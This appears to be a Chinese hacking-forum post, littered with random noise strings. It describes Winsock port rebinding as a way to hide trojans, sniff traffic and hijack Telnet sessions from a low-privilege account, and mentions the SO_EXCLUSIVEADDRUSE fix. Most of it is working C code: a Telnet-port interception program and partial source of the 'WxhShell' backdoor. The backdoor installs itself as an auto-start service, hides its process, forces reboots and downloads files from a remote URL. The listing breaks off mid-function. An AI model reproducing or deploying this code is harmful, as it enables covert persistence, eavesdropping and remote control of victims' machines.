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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Zmr*$,v<y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2ZZF hj  
t 4tXLI;'  
  saddr.sin_family = AF_INET; 2 NrMse  
 o0Pc^  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); +}@6V4BRn  
So\f [/em  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); x $=-lB  
eXsFPM  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 parc\]M  
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  这意味着什么?意味着可以进行如下的攻击: F` gQ[  
$XO#qOW  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -~ 5|_G2Y"  
WMXk-?v4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <-m?l6  
uZ7~E._  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0G"I}Jp{  
]aVFWzey  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  mtu`m6Xix  
a]u1_ $)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 vW:XM0  
6=xbi{m$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \IG"Te  
4'ymPPY  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Xv1mjHZCC  
qOd*9AS'|M  
  #include ,c_NXC^X?  
  #include Uq}-<q  
  #include ;~5w`F)  
  #include    }^Kye23  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |UZhMF4/-L  
  int main() Kv26rY8Q  
  { nkvkHh  
  WORD wVersionRequested; rlIDym9nY~  
  DWORD ret; %knPeo&  
  WSADATA wsaData; d)7V:  
  BOOL val; "vnWq=E 2  
  SOCKADDR_IN saddr; JZv]tJWq  
  SOCKADDR_IN scaddr; a-} %R  
  int err; 05zHLj  
  SOCKET s; ~XxD[T5  
  SOCKET sc; C= m Y  
  int caddsize; vV'^HD^v  
  HANDLE mt; b:3hKW  
  DWORD tid;   K;97/"  
  wVersionRequested = MAKEWORD( 2, 2 ); Xo*$|9[.  
  err = WSAStartup( wVersionRequested, &wsaData ); R5i8cjKZ?w  
  if ( err != 0 ) { QP;b\1 1m  
  printf("error!WSAStartup failed!\n"); mvL'l)  
  return -1; feopO j6~+  
  } Ab"uN  
  saddr.sin_family = AF_INET; ft*0?2N~  
   (o:Cxh V  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 jK=*~I  
(G"qIw   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); * c%@f<R~  
  saddr.sin_port = htons(23); _F*w ,b$8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2l SM`cw  
  { FEZ6X  
  printf("error!socket failed!\n"); 6vjB; uS[  
  return -1; @uE=)mP@  
  } B~aOs>1 S]  
  val = TRUE; I[`2MKh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !Q3Snu=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ChW0vIL`  
  { ?rOb?cu-  
  printf("error!setsockopt failed!\n"); ~pA;j7*  
  return -1; YBCjcD[G  
  } %<"11;0tp  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #,PAM.rH  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "@?|Vv,vn  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 a "DV`jn  
:^s7#4%6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %~;Q_#CR/K  
  { ^(\Gonf<  
  ret=GetLastError(); vX/A9Qi,U.  
  printf("error!bind failed!\n"); (p?3#|^  
  return -1; 6C0_. =7#  
  } oto od  
  listen(s,2); "[?/I3 {E  
  while(1) ?xo,)``  
  { i]-gO  
  caddsize = sizeof(scaddr); _]S6>  
  //接受连接请求 +{%4&T<nHw  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5 muW*7  
  if(sc!=INVALID_SOCKET) Gh|!FRK[$  
  { X@:fW  @  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &0eB@8{N  
  if(mt==NULL)  ke#;1  
  { w.Vynb  
  printf("Thread Creat Failed!\n"); L@_">' pR  
  break; &+j^{a  
  } j>Z]J'P  
  } >YBpB,WND  
  CloseHandle(mt); p<zXuocQ  
  } cGc|n3(  
  closesocket(s); ^'fKey`  
  WSACleanup(); 5An0D V5  
  return 0; N Sh.g #  
  }   B R:  
  DWORD WINAPI ClientThread(LPVOID lpParam) r^E]GDz  
  { D,n}Qf!GYk  
  SOCKET ss = (SOCKET)lpParam; U&n>fXTHn  
  SOCKET sc; $048y X 7M  
  unsigned char buf[4096]; KYu(H[a  
  SOCKADDR_IN saddr; Y+ Z9IiS7  
  long num; 0GYEt  
  DWORD val; !:<UgbiVv  
  DWORD ret; M&ij[%i  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &a=e=nR5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   7ILa H|eN  
  saddr.sin_family = AF_INET; |{PJT#W%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8-"5|pNc  
  saddr.sin_port = htons(23); ij i.3-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &&}5>kg>d  
  { YU=ZZEVi  
  printf("error!socket failed!\n"); D'`"_  
  return -1; E)JyKm.  
  } ^B5cNEO  
  val = 100; 6lWFxbh  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e^NEj1  
  {  ;Z q~w  
  ret = GetLastError(); 1mJ_I|98  
  return -1; uvDoo6'  
  } 1bJ]3\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ' f$L  
  { 7F(F.ut  
  ret = GetLastError(); S9NN.dKu  
  return -1; :dguQ|e  
  } b!X"2'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6eT'[Umx  
  { GWInN8.5  
  printf("error!socket connect failed!\n"); ZGpTw[5ql  
  closesocket(sc); qysa!B  
  closesocket(ss); 3Y{)(%I  
  return -1; pRwGv  
  } UB$`;'|i  
  while(1) HS:}! [P  
  { kr(<Y|  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %W4aKb?BT  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 E^ok`wfO  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8RAeJ~e  
  num = recv(ss,buf,4096,0); `f+8WPJPZ  
  if(num>0) d BMe`hM)  
  send(sc,buf,num,0); = b<<5N s  
  else if(num==0) 6#)Jl  
  break; Yc82vSG'  
  num = recv(sc,buf,4096,0); WYC1rfd=  
  if(num>0) As+;qNO  
  send(ss,buf,num,0); 'K3 s4x($  
  else if(num==0) vzcBo%  
  break;  l}0V+  
  } l-S'ATZ0p  
  closesocket(ss); T5azYdzJy  
  closesocket(sc); F[kW:-ne@Z  
  return 0 ; zZ9<4"CIk  
  } 9*|3E"Vr  
%md^S |  
v0C;j (2zb  
========================================================== ?JgO-.  
H_?B{We  
下边附上一个代码,,WXhSHELL d{yIy'+0/  
pf8O`e,Awf  
========================================================== $}nh[@  
XalJo@%-  
#include "stdafx.h" 9c6GYWIFt&  
h ??C4z  
#include <stdio.h> c',:@2R  
#include <string.h> &'(a$ S>v  
#include <windows.h> Q+d.%qhc  
#include <winsock2.h> ?7uK P}1|  
#include <winsvc.h> Aw4?y[{H  
#include <urlmon.h> gr>o E#7  
,|.8nk"  
#pragma comment (lib, "Ws2_32.lib") xIQ/$[&v  
#pragma comment (lib, "urlmon.lib") MkDK/K$s  
4Oy.,MDQP  
#define MAX_USER   100 // 最大客户端连接数 ojx'g8yO  
#define BUF_SOCK   200 // sock buffer aZj J]~bO  
#define KEY_BUFF   255 // 输入 buffer }r}RRd  
*`ZB+ \*  
#define REBOOT     0   // 重启 m-ph}  
#define SHUTDOWN   1   // 关机 0\'Q&oTo  
"J pTE \/  
#define DEF_PORT   5000 // 监听端口 {?*<B=c  
X 45x~8f  
#define REG_LEN     16   // 注册表键长度 wb6L? t  
#define SVC_LEN     80   // NT服务名长度 ahNX/3; y  
rX33s  
// 从dll定义API A mI>m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d1V^2Hb?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); DD!MGf/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *p&^!ct  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :}@C9pqr2  
2.LJp}>  
// wxhshell配置信息 #zS1Z f^KP  
struct WSCFG { Vvm=MBgN  
  int ws_port;         // 监听端口 QqiJun_m  
  char ws_passstr[REG_LEN]; // 口令 VYamskK[G:  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7m:|u*ij2~  
  char ws_regname[REG_LEN]; // 注册表键名 o_Jn_3=  
  char ws_svcname[REG_LEN]; // 服务名 [DZqCo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b0@>xT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b4Z`y8=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  R"U/RS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F qeV3 N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Zc'|!pT _  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /m `}f]u  
s\'y-UITi1  
}; \3Dk5cSDk+  
<<=e9Lh  
// default Wxhshell configuration K(nS$x1G  
struct WSCFG wscfg={DEF_PORT, C4QeDvpI  
    "xuhuanlingzhe", >4n+PXRXX  
    1, TGU:(J'^  
    "Wxhshell", R_Zv'y6  
    "Wxhshell", w9RF2J  
            "WxhShell Service", #NvQmz?J?  
    "Wrsky Windows CmdShell Service", b TLMd$  
    "Please Input Your Password: ", Jd5\&ma  
  1, k"xGA*B|  
  "http://www.wrsky.com/wxhshell.exe", D]IBB>F  
  "Wxhshell.exe" &5\^f?'b7  
    }; M1oPOC\0.  
$hkq>i \  
// 消息定义模块 5D,.^a1 A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b4>``n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; XE_ir Et  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?y ~TCqV  
char *msg_ws_ext="\n\rExit."; @#RuSc  
char *msg_ws_end="\n\rQuit."; Rn`ld@=p[  
char *msg_ws_boot="\n\rReboot..."; gNShOu  
char *msg_ws_poff="\n\rShutdown..."; S4cpQq.  
char *msg_ws_down="\n\rSave to "; M|\^UF2e  
o#qH2)tb  
char *msg_ws_err="\n\rErr!"; Y3-gUX*w0  
char *msg_ws_ok="\n\rOK!"; 25 CZmsg  
x_*%*H  
char ExeFile[MAX_PATH]; ^SZw`]  
int nUser = 0; *~ p (GC  
HANDLE handles[MAX_USER]; !^m%O0DT  
int OsIsNt; 8b|OXWl  
u!Xb?:3uj  
SERVICE_STATUS       serviceStatus; & _; y.!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; YT>KJ  
z{S:X:X  
// 函数声明 xfjd5J7'  
int Install(void); E2@`d6  
int Uninstall(void); ^+ZgWS^%  
int DownloadFile(char *sURL, SOCKET wsh); .%=V">R  
int Boot(int flag); qn B<k,8T  
void HideProc(void); -?s&pKi  
int GetOsVer(void); yuOS&+,P  
int Wxhshell(SOCKET wsl); kv6Cp0uFg  
void TalkWithClient(void *cs); *G9sy_  
int CmdShell(SOCKET sock); xwRhs!`t1  
int StartFromService(void); 7A5p["?Z  
int StartWxhshell(LPSTR lpCmdLine); U-i.(UyZ  
vT|`%~Be  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); HPrq1QpK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q:I$EpKf?Q  
j5Qo*p  
// 数据结构和表定义 8S\RN&T$  
SERVICE_TABLE_ENTRY DispatchTable[] = u*3NS$vH  
{ UtnZNdl v  
{wscfg.ws_svcname, NTServiceMain}, nq"evD5  
{NULL, NULL} `vd= ec  
}; ' +j<n[JLC  
_AFQ>j  
// 自我安装 62)d22  
int Install(void) WJ |:kuF  
{ f`jc#f5+'  
  char svExeFile[MAX_PATH]; nVE9^')8V  
  HKEY key; MtS3p>4  
  strcpy(svExeFile,ExeFile); v2Bzx/F:  
dBSbu=^$)  
// 如果是win9x系统,修改注册表设为自启动  v,=v  
if(!OsIsNt) { Lxv6!?v|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a5@z:i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >nzu],U  
  RegCloseKey(key); UiH!Dl}<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M|q~6oM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #]CFA9 z  
  RegCloseKey(key); @@@=}!<H=  
  return 0; =pcF:D#+  
    } =<c#owe:m  
  } >-.e AvD  
} !v|FT. T`  
else { O~!T3APGU  
fH\X  
// 如果是NT以上系统,安装为系统服务 $= B8qZ+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |Os6V<u"  
if (schSCManager!=0) !d,8kG  
{ \\,f{?w  
  SC_HANDLE schService = CreateService n`ViTwd]MQ  
  ( :IMdN}(L  
  schSCManager, <F;v`h|+S  
  wscfg.ws_svcname, OoBCY-gj*  
  wscfg.ws_svcdisp, D-2.fjo9!  
  SERVICE_ALL_ACCESS, 7Vu?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qH> `}/,P  
  SERVICE_AUTO_START, "T2"]u<52  
  SERVICE_ERROR_NORMAL, eujK4s  
  svExeFile, =^&%9X  
  NULL, &;E5[jO^D  
  NULL, >5hhd38  
  NULL, (@r `$5D.b  
  NULL, F(5hmr  
  NULL /P:.qtT(  
  ); Bj Wr5SJ  
  if (schService!=0) `Out(Hn  
  { IvHh4DU3Z  
  CloseServiceHandle(schService); ,1oQ cC  
  CloseServiceHandle(schSCManager); slu(SmQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0* ;O?T  
  strcat(svExeFile,wscfg.ws_svcname); E<E3&;qD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~j>D=!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0v)bA}k  
  RegCloseKey(key); %zBCq"y  
  return 0; t23'x0l  
    } ^03j8Pc-c  
  } 2f>PO +4S{  
  CloseServiceHandle(schSCManager); >&,[H:Z  
} ,](:<A)W&  
} K+Y^>N4m  
-d+aV1n  
return 1; `F t]MR  
} h.eM RdlO  
@L/o\pvc  
// 自我卸载 @I`C#~  
int Uninstall(void) vI1i, x#i  
{ ^EELaG  
  HKEY key; tZyo`[La  
0'5/K ,  
if(!OsIsNt) { Rk6deI]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ({s6eqMhDd  
  RegDeleteValue(key,wscfg.ws_regname); S4UM|`  
  RegCloseKey(key); t5B7I59  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1'.7_EQ4T  
  RegDeleteValue(key,wscfg.ws_regname); z~*g~RKS!  
  RegCloseKey(key); @"-</x3o  
  return 0; e~l#4{w  
  } ;U9J++\d<A  
} 5xCT~y/a  
} Fd]\txOXj  
else { B* kcN lW  
$ _j[2EU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h4|i%,f  
if (schSCManager!=0) NLS"eD m  
{ x5}'7,A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v+ 7kU=  
  if (schService!=0) M`YWn ;  
  { >Fio;cn?  
  if(DeleteService(schService)!=0) { 54lu2gD'  
  CloseServiceHandle(schService); XfPFo6  
  CloseServiceHandle(schSCManager); 7?j;7.i s(  
  return 0; IU FH:w]  
  } M<O{O}t<  
  CloseServiceHandle(schService); :W#rhuzC  
  } +4;uF]T  
  CloseServiceHandle(schSCManager); 5|3e&  
} M_v?9L  
} j9Yb x#  
^G&3sF}  
return 1; ">f erhN9  
} &LO"g0w  
aj8A8ma*}  
// 从指定url下载文件 +T/FeVQ  
int DownloadFile(char *sURL, SOCKET wsh) q<y#pL=k"*  
{ o[oM8o<  
  HRESULT hr; m!<i0thJ  
char seps[]= "/"; >~%e$a7}+  
char *token; *IgE)N >  
char *file; De7T s  
char myURL[MAX_PATH]; =4V&*go*\  
char myFILE[MAX_PATH]; *B`Zq)  
gE#>RM5D  
strcpy(myURL,sURL); j',W 64  
  token=strtok(myURL,seps); k@zy  
  while(token!=NULL) *eI)Z=8  
  { [Wd-Zn%  
    file=token; ]Chj T}  
  token=strtok(NULL,seps); `&\Q +W  
  } +$4(zP s@  
L,y6^J!  
GetCurrentDirectory(MAX_PATH,myFILE); Z^ }mp@j>  
strcat(myFILE, "\\"); ! cKz7?w  
strcat(myFILE, file); B9p?8.[  
  send(wsh,myFILE,strlen(myFILE),0); s { #3r  
send(wsh,"...",3,0); |,9JNm$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #/PAA  
  if(hr==S_OK) DPi_O{W>  
return 0; 5T sUQc  
else HeBcT^a  
return 1; *6HTV0jv  
COH<Tj  
} J>fQNW!{  
mF` B#  
// 系统电源模块 UOQEk22  
int Boot(int flag) +)JpUqHa  
{ h(WrL  
  HANDLE hToken; a]Lp?  
  TOKEN_PRIVILEGES tkp; ga?*DI8w  
d%l{V6  
  if(OsIsNt) { ^u 3V E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OL4z%mDZi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oIUy-|  
    tkp.PrivilegeCount = 1; U(~+o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &-(463  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3u%{dGa  
if(flag==REBOOT) { 3?Y2L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9x,RvWTb  
  return 0;  >S$Z  
} ss;R8:5  
else { 8~5cJPi6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a0r"N[&  
  return 0; l7&$}x -  
} [O: !(G je  
  } SG6sw]x  
  else { j*~T1i  
if(flag==REBOOT) { ySI~{YVM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VfT*7_  
  return 0; ~-wPP{!  
} AwQ?l(iZ"p  
else { % ,+leKs  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k,euhA/&  
  return 0; H'Yh2a`!o  
} f/CuE%7BR  
} 4CGPO c  
o|jIM9/  
return 1; 2<M= L1\  
} $9?cP`hmi  
6uKTGc4  
// win9x进程隐藏模块 &89 oO@5  
void HideProc(void) 0uBl>A7qhn  
{ 2NB L}x  
i<pk6rO1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mKYeD%Pm*  
  if ( hKernel != NULL ) 3sd"nR?aX  
  { odIZo|dv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \U@rg4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?-1r$31p  
    FreeLibrary(hKernel); &=4(l|wcg  
  } DBLO|&2!z[  
RT%pDym\  
return; >>[ G1   
} vTv]U5%:>%  
)V!dBl"Gq  
// 获取操作系统版本 bXS:x  
int GetOsVer(void) {3&|tk!*  
{ QBR=0(giF  
  OSVERSIONINFO winfo; Rb\6;i8R  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); WJ*n29^N^h  
  GetVersionEx(&winfo); 5xii(\lC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %#$EP7"J  
  return 1;   zxp`  
  else ^iQn'++Q  
  return 0; t(="h6i  
} aF7nvu*N  
*5xJv  
// 客户端句柄模块 6Zn @2PGEl  
int Wxhshell(SOCKET wsl) ngGO0  
{ dx ;k`r$w  
  SOCKET wsh; D-,L&R!`  
  struct sockaddr_in client; fryJW=  
  DWORD myID; n-DVT;y  
1T:Y0  
  while(nUser<MAX_USER) 6 PxW8pn  
{ @^uH`mc  
  int nSize=sizeof(client); 8uA,iYD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]THPSw_y8  
  if(wsh==INVALID_SOCKET) return 1; Z{H5oUk  
bGorH=pb5R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t='# |');  
if(handles[nUser]==0) ;[a|9TPR  
  closesocket(wsh); r7Ya\0gU  
else x"~~l  
  nUser++; t!I aUW  
  } hHDOWHWE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c2K:FdB  
g (#f:"  
  return 0; }MlwC;ot  
} HI@syFaJM  
DLCkM*'  
// 关闭 socket 5Vi> %5A>l  
void CloseIt(SOCKET wsh) B<-kzt  
{ Uo-`>7  
closesocket(wsh); pC_O:f>vJ  
nUser--; nVJPR  
ExitThread(0); 6)BR+U  
} "]-Xmdk09  
u<n Lag  
// 客户端请求句柄 mA{~Pp Sb  
void TalkWithClient(void *cs) [xKd7"d/n  
{ iPrLwheb  
N:9>dpP}O  
  SOCKET wsh=(SOCKET)cs; n#iwb0-  
  char pwd[SVC_LEN]; 1 `KN]Nt  
  char cmd[KEY_BUFF]; D0BI5q  
char chr[1]; y9KB< yh/  
int i,j; l9M0cZ,  
rm} R>4  
  while (nUser < MAX_USER) { $U/YR&vcw  
{8I.`U  
if(wscfg.ws_passstr) { }cN@[3v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pD&& l!i&[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D_8x6`z  
  //ZeroMemory(pwd,KEY_BUFF); ;}'D16`j  
      i=0; *cO sv  
  while(i<SVC_LEN) { j+HHQd7Y  
'KPASfC  
  // 设置超时 a/< Csad  
  fd_set FdRead; f0T ,ul,  
  struct timeval TimeOut; (< =}]v  
  FD_ZERO(&FdRead); 07hF2[i  
  FD_SET(wsh,&FdRead); ~ Uo)0  
  TimeOut.tv_sec=8; ]Ta N{"  
  TimeOut.tv_usec=0; K!KMQr`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n!qV>k9Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  H}:LQ~_2  
)>c>oMgl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [= |jZVhT  
  pwd=chr[0]; b pv= %  
  if(chr[0]==0xd || chr[0]==0xa) { m:hY`[ f6  
  pwd=0; ''|#cEc)  
  break; C2{lf^9:&  
  } D0N9Ksq  
  i++; pn*3\  
    } Q#EP|  
Sv;_HZ  
  // 如果是非法用户,关闭 socket m%PC8bf`S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l|hUw  
} d,by / .2  
wRrnniqf8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); HQ{JwW!m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sp* Vqd  
qn,O40/]  
while(1) { C4NTh}6t T  
P<fnLQ9  
  ZeroMemory(cmd,KEY_BUFF); =!Q7}z1QI  
CZbYAxNl  
      // 自动支持客户端 telnet标准   F"N60>>  
  j=0;  RD tU43  
  while(j<KEY_BUFF) { DvM5 k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?i`l[+G  
  cmd[j]=chr[0]; L_w+y  
  if(chr[0]==0xa || chr[0]==0xd) { 7+hK~  
  cmd[j]=0; ^3hn0DVQ  
  break; e]Zngt?b  
  } al 20V  
  j++; !@'%G6:.  
    } aAy'\T$x.  
|T{C,"9y  
  // 下载文件 1xc~`~  
  if(strstr(cmd,"http://")) { yObuWDA9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); al`3Lu0  
  if(DownloadFile(cmd,wsh)) kapC%/6"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z%/N!RLW  
  else smm]6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *:O.97q@h  
  } o!~Jzd.=h  
  else { 1@gguRF:  
4H+Ked&Oq  
    switch(cmd[0]) { s{w[b\rA  
  !p1qJ [  
  // 帮助 uw},`4`  
  case '?': { 3z ]+uv+2J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R=T qj,6  
    break; iZZ (4  
  } 0 P[RyQI  
  // 安装 ?2Kt'1s#  
  case 'i': { =tU{7i*+  
    if(Install()) 9h0X&1u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wKH ::!  
    else .Q)|vq^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /cZ-tSC)o  
    break; cT\I[9! )  
    } _GKB6e%  
  // 卸载 x 2QIPUlf  
  case 'r': { & /4k7X}y  
    if(Uninstall()) FW"^99mrnb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "6a8s;  
    else W(hMft%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vLxQ *50v$  
    break; r",]Voibd  
    } ,|88r=}  
  // 显示 wxhshell 所在路径 Z`&4SH=j  
  case 'p': { X w.p  
    char svExeFile[MAX_PATH]; iVfgDo  
    strcpy(svExeFile,"\n\r"); hd 0 'u  
      strcat(svExeFile,ExeFile); NvN~@TL28  
        send(wsh,svExeFile,strlen(svExeFile),0); >{ me  
    break; + S4fGT  
    } Zatf9yGD  
  // 重启 qT/Do?Y  
  case 'b': { ?b!Fa  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0q rqg]  
    if(Boot(REBOOT)) Y4IGDY*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5 |/9}^T  
    else { ip~$X 2  
    closesocket(wsh); ql<rU@  
    ExitThread(0); b~BIz95  
    } Z@gnsPN^r  
    break; =:SN1#G3n  
    } \Ofw8=N-2  
  // 关机 MV=9!{`  
  case 'd': { {_U Kttp  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?m c%.Bt  
    if(Boot(SHUTDOWN)) it2 a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rfw-^`&{  
    else { wC-Rr^q  
    closesocket(wsh); !K? qgM  
